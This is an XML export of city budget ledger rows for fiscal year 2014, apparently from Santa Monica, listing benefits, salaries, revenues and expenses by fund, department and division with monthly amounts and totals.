<row _id="10599"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>45</december><january>118.14</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3363.14</total></row>
<row _id="10600"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4562.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4562.0</total></row>
<row _id="10601"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>16961.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16961.0</total></row>
<row _id="10602"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>17609.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>243</april><may>0</may><june>0.0</june><total>17852.0</total></row>
<row _id="10603"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>30267.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30267.0</total></row>
<row _id="10604"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>293346.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>293346.0</total></row>
<row _id="10605"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>726.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>726.0</total></row>
<row _id="10606"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>355484.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>355484.0</total></row>
<row _id="10607"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>18065.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18065.0</total></row>
<row _id="10608"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6666.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6666.0</total></row>
<row _id="10609"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>275920.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>17219</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>293139.0</total></row>
<row _id="10610"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>27626.0</july><august>0</august><september>0</september><october>0</october><november>-213.0</november><december>367</december><january>-209.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27571.0</total></row>
<row _id="10611"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>110698.0</july><august>0</august><september>0</september><october>0</october><november>1055.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>111753.0</total></row>
<row _id="10612"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>84615.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>1328</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>85943.0</total></row>
<row _id="10613"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>42362.0</july><august>0</august><september>0</september><october>0</october><november>-285.0</november><december>574</december><january>359.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>43010.0</total></row>
<row _id="10614"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>23195.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>317</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23512.0</total></row>
<row _id="10615"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>407170.0</object><object_description>LA COUNTY PROP A O&amp;M REIMB</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-28260.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-28260.0</total></row>
<row _id="10616"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3287.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3287.0</total></row>
<row _id="10617"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1666.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1666.0</total></row>
<row _id="10618"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103.0</total></row>
<row _id="10619"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4675.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4675.0</total></row>
<row _id="10620"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>208620.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>208620.0</total></row>
<row _id="10621"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>148305.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>1549</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>149854.0</total></row>
<row _id="10622"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>291768.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>291768.0</total></row>
<row _id="10623"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>780659.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>780659.0</total></row>
<row _id="10624"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>352245.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>352245.0</total></row>
<row _id="10625"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12776.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>433.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13209.0</total></row>
<row _id="10626"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>408.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>408.0</total></row>
<row _id="10627"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7432.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7432.0</total></row>
<row _id="10628"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>695.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>695.0</total></row>
<row _id="10629"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5885.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5885.0</total></row>
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<row _id="10654"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3236.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>21</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3257.0</total></row>
<row _id="10655"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2383.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2383.0</total></row>
<row _id="10656"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5258.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>56</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5314.0</total></row>
<row _id="10657"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1144.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1144.0</total></row>
<row _id="10658"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>780.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>780.0</total></row>
<row _id="10659"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>16749.0</july><august>0</august><september>0</september><october>0</october><november>874.0</november><december>0</december><january>-42.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17581.0</total></row>
<row _id="10660"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>36619.0</july><august>0</august><september>0</september><october>0</october><november>-98.0</november><december>656</december><january>124.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37301.0</total></row>
<row _id="10661"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>534.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>534.0</total></row>
<row _id="10662"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8248.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>125.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8373.0</total></row>
<row _id="10663"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>618.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>618.0</total></row>
<row _id="10664"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402130.0</object><object_description>AIRPORT - LAND LEASE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1512367.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1512367.0</total></row>
<row _id="10665"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402170.0</object><object_description>LANDING FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-1528082.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1528082.0</total></row>
<row _id="10666"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-25000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-25000.0</total></row>
<row _id="10667"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>727.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>727.0</total></row>
<row _id="10668"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3820.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>51</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3871.0</total></row>
<row _id="10669"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>77317.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>77317.0</total></row>
<row _id="10670"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2960.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2960.0</total></row>
